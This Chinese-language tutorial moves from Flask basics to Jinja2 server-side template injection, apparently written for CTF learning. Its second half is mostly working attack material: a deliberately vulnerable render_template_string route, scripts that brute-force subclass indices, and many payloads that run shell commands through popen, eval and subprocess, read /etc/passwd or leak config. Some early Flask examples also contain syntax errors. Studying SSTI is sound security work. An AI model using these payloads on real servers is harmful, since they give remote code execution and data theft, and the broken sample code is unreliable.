从flask框架到SSTI模版注入

Flask框架

flask基础测试

1
2
3
4
5
6
7
8
from flask import Flask #从flask模块中导入Flask类
app = Flask(__name__) #创建一个flask实例
@app.route('/') #路由规则
def flask_test():
return 'Flask Test Successful!'
if __name__ == '__main__'
app.debug = True
app.run(debug = True)

代码解析

使用引入的Flask类创建一个flask实例,传入参数是此实例的唯一标示,就相当于启动了一个服务器服务,用于处理后续的处理

route路由

服务器对于网络请求的识别,都是通过解析该网络请求的url地址和所携带的参数来完成的,这里也不例外,此处我们看到代码中的这句语句,它被称为路由,它的作用就是对网络请求进行筛选,每个route对应这一类请求类型:route中所带的参数是一个字符串类型,它的内容就对应它要响应的标示,例如此处字符串为‘/’,表明当网络访问地址为“http://127.0.0.1:5000/”时,此语句后面定义的函数就会被调用,该函数返回的内容就是浏览器中访问该地址时响应的页面内容

1
2
from flask import Flask
app = Flask(__name__)

main入口和Debug

当.py文件被直接运行时,if __name__ == '__main__'之下的代码块将被运行;当.py文件以模块形式被导入时,if name == ‘main‘之下的代码块不被运行。

flask编写的程序和php不一样,每一次变动都需要重启服务器来执行变更,就显得很麻烦,为了应对这种问题,flask中的debug模式可以在不影响服务器运行下,执行更新每一次的变更。这样我们修改代码的时候直接保存,网页刷新就可以了,如果不加debug,那么每次修改代码都要运行一次程序,并且把前一个程序关闭。否则会被前一个程序覆盖。

1
2
3
if __name__ == '__main__'
app.debug = True
app.run(debug = True)

flask识别传入参数

在url中添加可以传入参数的地方我们只需要在route后面的路径中添加标记<vaule_name>,然后使用def接受即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask
app = Flask(__name__)

@app.route('/')
def index():
return 'Hello World'

@app.route('/user/<username>')
def user(username):
return 'username:{0}'.format(username)

if __name__ == '__main__':
app.debug = True
app.run(debug = True)

HTTP方法

GET和POST方法

1
2
3
4
5
6
7
8
9
10
11
12
13
from urllib import request
from flask import Flask,request

@app.route('/method',methods = ['GET','POST'])
def method():
if request.method == 'GET':
return 'Now function is GET'
elif request.method == 'POST':
return 'Now function is POST'

if __name__ == '__main__':
app.debug = True
app.run(debug = True)

request主要是用于在判断时,获取当前页面的方法,如果直接打开URL,就会显示GET方法,如果使用POST,就会显示POST方法。

注意:request和requests不一样,request是包含在flask中的,而requests是请求网页的,不能混淆

Redirect重定向

比较常用的地方就是登入界面;当我们输入正确的账密后给我们重定向到另外一个界面中;此时需要配合url_for使用于构造url

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import time
from flask import Flask,request,redirect,url_for
app = Flask(__name__)

@app.route('/login',methods = ['GET','POST'])
def login():
username = 'admin'
password = 'admin'
user = request.args.get('username') # 获取传入的用户名
passwd = request.form['passwd'] # 获取传入的密码
if user == username and passwd == password:
return redirect(url_for('login_s')) # 如果一样,则通过redirect和url_for重定向到login_s中
else:
return 'username or password error'
@app.route('/login_s',methods = ['GET']) # 定义一个新的页面login_s
def login_s():
return 'Successed'

if __name__ == '__main__':
app.debug = True
app.run(debug = True)

模板渲染

单调的html看起来是十分无趣的,一个成熟的html文件是需要不同样式的文件组成的,因此我们为了让模板看起来更加的成熟,我们就需要对模板进行渲染。

模板引擎

首先我们先讲解下什么是模板引擎,为什么需要模板,模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。

通俗的理解就是拿到数据之后我们直接塞入模板,然后让渲染引擎将塞进去的东西生成html,随后返回给浏览器

render_template

我们可以在app.py使用字典的格式定义好需要渲染的内容;然后使用render_template将数据渲染到index.html。此时在index.html中,我们需要使用的格式为{{参数名}}来接受参数值,比如<标签>{{username}}</标签>;此时注意的点在于html文件获取参数一定要填入传过来的参数名

此时我们先看templates文件夹下面的index.html

1
2
3
4
5
6
7
8
9
<html>
<head>
<body>
<h1>Hello,{{username}}</h1>
<h2>{{year}}</h2>
<h3>{{Country}}</h3>
</body>
</head>
</html>

app.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from importlib.resources import contents
import time
from flask import Flask,request,redirect,url_for,render_temple
app = Flask(__name__)

@app.route('/')
def index():
contents = {
'username':'hey'
'yera':'21'
'Country':'China'
}
return render_template('index.html',**contents)

if __name__ == '__main__'
app.debug = True
app.run(debug = True)

渲染前:

渲染后:

render_template_strings

函数解读

render_template_strings是用于渲染字符串的一个函数,这个函数可以将html代码变成字符串,然后使用render_template_strings()将文件渲染输出,这个和render_template的差别在于其可以使用于没有外部文件的情况下直接在同文件下定义好html代码,然后直接渲染输出即可。

代码示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from flask import Flask,request,render_template_strings
app = Flask(__name__)

@app.route('/')
def index():
return 'GET /view?filename=app.py'
@app.route('/')
def view():
filename = request.args.get('filename')
if('flag' in filename):
return 'WAF'
if('cgroup' in filename):
return 'WAF'
if('self' in filename):
return 'WAF'
try:
with open(filename,'r') as file:
templates='''
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>文件存在</title>
</head>
<h1>
{}
</h1>
</html>
'''.format(f.read())
return render_template_string(templates)
except Exception as e:
templates='''
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>文件不存在</title>
</head>
<h1>
文件不存在
</h1>
</html>
'''
return render_template_string(templates)

if __name__ == '__main__':
app.debug = True
app.run(debug = True)

渲染结果:

Flask框架漏洞

漏洞成因

1.最主要的漏洞成因就是在渲染模板时,没有严格的控制用户的输入,或者使用了危险的模板,导致了用户可以直接和flask程序进行交互,从而造成了漏洞的产生

2.其次flask是基于python开发的一种web服务器,也就是说如果用户可以和flask进行交互的话,就可以执行python代码

漏洞演示

接下来我们来看一个代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from importlib.resources import contents
import time
from flask import Flask,request,redirect,url_for,render_template_string,render_template
app = Flask(__name__)

@app.route('/',methods = ['GET'])
def index():
str = request.args.get('v')
html_str = '''
<html>
<head></head>
<body>{{str}}</body>
</html>
'''
return render_template_string(html_str,str=str)

if __name__ == '__main__':
app.debug = True
app.run(debug = True)

请把目光移至html_str中的标签,其中str是被{{}}`包括起来的,也就是说,使用`{{}}包起来的,是会被预先渲染转义,然后才输出的,不会被渲染执行。

接下来我们来继续看一个较为粗心的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from importlib.resources import contents
import time
from flask import Flask,request,redirect,url_for,render_template_string,render_template
app = Flask(__name__)

@app.route('/',methods = ['GET'])
def index():
str = request.args.get('v')
html_str = '''
<html>
<head></head>
<body>{0}</body>
</html>
'''.format(str)
return render_template_string(html_str)

if __name__ == '__main__':
app.debug = True
app.run(debug = True)

为什么说它粗心呢,第一它并没有对我们的输入做任何的过滤就直接将我们输入的值直接放入html_str中,然后经过模板渲染,直接输出。户完全对输入值可控,就会造成SSTI;其次没有使用{{}}`包起来的,没有预先渲染转义 ![](./从flask框架到SSTI模版注入/4.png) ## 解析原因 因为`flask`是基于`Jinja2`的,`Jinja2`在渲染的时候会把`{{}}包裹的内容当做变量解析替换。所以可以利用此语法,传入参数{{7 * 7}}会发现返回值为49,说明我们输入的表达式被执行了。在Jinja2模板引擎中使用{{}}`标识符包裹的内容会被解析成一个表达式,并且会在服务器端进行求值和渲染。如果使用`{{}}中包含的是可执行的命令语句;此时这个命令语句会被执行;所以此时我们加上{{}}`标识符的目的就是为了使得被`{{}}包裹的内容当作变量来解析替换。

魔术方法

1
2
3
4
5
6
7
8
9
10
__class__ #查看当前类型的所属对象
__mro__ #查看当前类对象的所有继承类
__subclasses__ #查找父类下的所有子类
__globals__ #函数会以字典的形式返回当前对象的全部全局变量
__init__ #查看类是否重载,重载是指程序在运行时就已经加载到了这个模块到内存中,如果出现wrapper字眼,说明没有重载
__base__ #沿着父类的关系往上走一个
注:
__base__ #以字符串的形式返回一个类所继承的类
__bases__ #以元组的形式返回一个类所继承的类
__mro__ #返回解析方法调用的顺序,按照子类到父类到父父类的顺序返回所有的类

继承关系

通过一个子类找到父类,在从父类找到子类,再找到全局变量,这个就是继承关系

1
2
3
4
5
6
7
8
9
10
11
12
class A: pass
class B(A): pass
class C(B): pass
a = A()
b = B()
c = C()
print('a的继承关系:',end = '')
print(a.__class__.__mro__)
print('b的继承关系:',end = '')
print(b.__class__.__mro__)
print('c的继承关系:',end = '')
print(c.__class__.__mro__)

EXP的构造

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from importlib.resources import contents
import time
from flask import Flask,request,redirect,url_for,render_template_string,render_template
app = Flask(__name__)

@app.route('/',methods = ['GET'])
def index():
str = request.args.get('v')
html_str = '''
<html>
<head></head>
<body>{0}</body>
</html>
'''.format(str)
return render_template_string(html_str)

if __name__ == '__main__':
app.debug = True
app.run(debug = True)

第一步:寻找内置类所对应的类

使用__class__来获取内置类所对应的类;可以使用str、dict、tuple、list进行获取

第二步:拿到object基类

利用__base__、__bases__、__mro__[-1]、__mro[1]拿到object基类

第三步:拿到子类列表

利用__subclasses__()拿到子类列表

第四步:在子类中找到可以getshell的类

我们依靠脚本来遍历实现

1
2
3
4
5
6
7
8
9
10
11
import requests

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0'}
for i in range(500):
url = "http://127.0.0.1:5000/?v=\
{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
res = requests.get(url=url, headers=headers)
#print(res.text)
if 'os._wrap_close' in res.text:
print(i)

此时可以发现object基类的第133个子类名为os._wrap_close;而在这个类中有popen方法

调用可getshell的类步骤

1.初始化类

首先我们调用它的__init__方法进行初始化

2.获取方法内的方法和属性等

接着我们使用__globals可以获取到方法内以字典的形式返回的方法、属性等值

3.调用其中的方法来RCE

然后就可以调用其中的popen来执行命令

常用来getshell的类的寻找脚本

Python3方法

寻找os._wrap_close

exp

1
2
3
4
5
6
7
8
9
10
11
import requests

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0'}
for i in range(500):
url = "http://127.0.0.1:5000/?v=\
{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
res = requests.get(url=url, headers=headers)
#print(res.text)
if 'os._wrap_close' in res.text:
print(i)

paylaod

1
{{"".__class__.__bases__[0].__subclasses__()[xxx].__init__.__globals__['popen']('whoami').read()}}

寻找内建函数eval

还有一个比较厉害的模块,就是__builtins__,它里面有eval()等函数,我们可以也利用它来进行RCE

exp

1
2
3
4
5
6
7
8
9
10
11
import requests

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0'}

for i in range(500):
url = "http://127.0.0.1:5000/?v=\{{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"

res = requests.get(url=url, headers=headers)
if 'eval' in res.text:
print(i)

payload

1
{{''.__class__.__bases__[0].__subclasses__()[xxx].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

以下是几个含有eval函数的类

1
2
3
4
5
6
7
8
- warnings.catch_warnings
- WarningMessage
- codecs.IncrementalEncoder
- codecs.IncrementalDecoder
- codecs.StreamReaderWriter
- os._wrap_close
- reprlib.Repr
- weakref.finalize

寻找 os 模块

此时我们注意到在利用内建函数进行rce时依旧要使用到os模块;那么此时我们直接调用os模块是不是会更简单一点。

Python的 os 模块中有systempopen这两个函数可用来执行命令。其中system()函数执行命令是没有回显的,我们可以使用system()函数配合curl外带数据;popen()函数执行命令有回显。所以比较常用的函数为popen()函数,而当popen()函数被过滤掉时,可以使用system()函数代替。

exp

1
2
3
4
5
6
7
8
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0'}
for i in range(500):
url = "http://127.0.0.1:5000/?v=\{{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"
res = requests.get(url=url, headers=headers)
if 'os.py' in res.text:
print(i)

paylaod

1
{{''.__class__.__bases__[0].__subclasses__()[xxx].__init__.__globals__['os'].popen('ls /').read()}}

寻找popen函数

exp

1
2
3
4
5
6
7
8
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0'}
for i in range(500):
url = "http://127.0.0.1:5000/?v=\{{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"
res = requests.get(url=url, headers=headers)
if 'popen' in res.text:
print(i)

payload

1
{{''.__class__.__bases__[0].__subclasses__()[xxx].__init__.__globals__['popen']('ls /').read()}}

寻找importlib类

Python 中存在 <class '_frozen_importlib.BuiltinImporter'> 类,目的就是提供 Python 中 import 语句的实现(以及 __import__ 函数)。我么可以直接利用该类中load_moduleos模块导入,从而使用 os 模块执行命令。

exp

1
2
3
4
5
6
7
8
9
10
11
import requests

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0'}

for i in range(500):
url = "http://127.0.0.1:5000/?v=\{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"

res = requests.get(url=url, headers=headers)
if '_frozen_importlib.BuiltinImporter' in res.text:
print(i)

payload

1
{{[].__class__.__base__.__subclasses__()[xxx]["load_module"]("os")["popen"]("ls /").read()}}

Python2方法

file类读文件

1
2
3
4
读文件
{{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}}

{{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').readlines()}}

寻找linecache函数

linecache 这个函数可用于读取任意一个文件的某一行,而这个函数中也引入了 os 模块,所以我们也可以利用这个 linecache 函数去执行命令。

首先编写脚本遍历目标Python环境中含有 linecache 这个函数的子类的索引号:

1
2
3
4
5
6
7
8
9
10
11
import requests

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0'}

for i in range(500):
url = "http://127.0.0.1:5000/?v=\{{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"

res = requests.get(url=url, headers=headers)
if 'linecache' in res.text:
print(i)

payload

1
{{[].__class__.__base__.__subclasses__()[xxx].__init__.func_globals['linecache'].os.popen('whoami').read()}}

python2&3的方法

__builtins__

首先__builtins__是一个包含了大量内置函数的一个模块,我们平时用python的时候之所以可以直接使用一些函数比如abs,max,就是因为builtins这类模块在Python启动时为我们导入了,可以使用dir(__builtins__)来查看调用方法的列表,然后可以发现__builtins__下有eval__import__等的函数,因此可以利用此来执行命令。

接下来调用eval等函数方法即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")}}

{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}

{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}


{{x.__init__.__globals__['__builtins__']}}
这里的x任意26个英文字母的任意组合都可以,同样可以得到__builtins__然后用eval就可以了

{{(abc|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e)}}
Cookie:a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()

寻找subprocess.Popen类

从python2.4版本开始,可以用 subprocess 这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。

subprocess 意在替代其他几个老的模块或者函数,比如:os.systemos.popen 等函数。

exp

1
2
3
4
5
6
7
8
9
10
11
import requests

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0'}

for i in range(500):
url = "http://127.0.0.1:5000/?v=\{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"

res = requests.get(url=url, headers=headers)
if 'linecache' in res.text:
print(i)

paylaod

1
2
3
{{[].__class__.__base__.__subclasses__()[xxx]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

# {{[].__class__.__base__.__subclasses__()[xxx]('要执行的命令',shell=True,stdout=-1).communicate()[0].strip()}}

利用配置信息来构造payload

我们有时候可以使用flask的内置函数比如说url_for,get_flashed_messages,甚至是内置的对象request来查询配置信息或者是构造payload

config

我们通常会用查询配置信息,如果题目有设置类似app.config ['FLAG'] = os.environ.pop('FLAG'),就可以直接访问{{config['FLAG']}}或者{{config.FLAG}}获得flag

request

Jinjia2中存在对象request

查询配置信息{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config}}

payload

1
2
3
{{request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}

{{request.application.__globals__['__builtins__'].open('/etc/passwd').read()}}

url_for

查询配置信息{{url_for.__globals__['current_app'].config}}

payload

1
2
3
4
5
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

{{url_for.__globals__.os.popen('whoami').read()}}

{{lipsum.__globals__.os.popen('whoami').read()}}

get_flashed_messages

查询配置信息{{get_flashed_messages.__globals__['current_app'].config}}

payload

1
{{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}